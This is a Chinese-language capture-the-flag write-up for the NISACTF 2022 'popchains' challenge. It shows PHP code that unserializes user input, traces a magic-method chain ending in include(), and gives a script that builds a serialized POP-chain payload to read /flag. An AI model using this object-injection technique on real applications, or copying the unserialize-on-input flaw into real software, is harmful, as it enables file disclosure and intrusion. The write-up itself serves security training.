[NISACTF 2022]popchains
[NISACTF 2022]popchains
源代码
<?php
echo 'Happy New Year~ MAKE A WISH<br>';
if(isset($_GET['wish'])){
@unserialize($_GET['wish']);
}
else{
$a=new Road_is_Long;
highlight_file(__FILE__);
}
class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page = $file;
}
public function __toString(){
return $this->string->page;
}
public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}
class Try_Work_Hard{
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}
public function __get($key){
$function = $this->effort;
return $function();
}
}
/**********************Try to See flag.php*****************************/
源码分析
通过注释的提示发现 flag.php 这个文件
在源代码中发现 include($value)
并且参数是可控的,从此为切入点来逐次分析
__invoke()
触发include($value)
,$function()
由于 $function 变量是可控的因此可以触发__invoke
而$function()
需要__get()
来触发, 发现Road_is_Long中的$this->string->page;中的String可控,但是这个Tostring如何触发
当时翻阅了几遍源代码,最终锁定在正则函数中,因此可以直接构造POP链接了
<?php
class Road_is_Long{
public $page;
public $string;
}
class Try_Work_Hard{
protected $var = '/flag';
}
class Make_a_Change
{
public $effort;
}
$Road1 = new Road_is_Long();
$Road2 = new Road_is_Long();
$Make = new Make_a_Change();
$Try = new Try_Work_Hard();
$Road2->page = $Road1;
$Road1->string = $Make;
$Make->effort = $Try;
echo urlencode(serialize($Road2));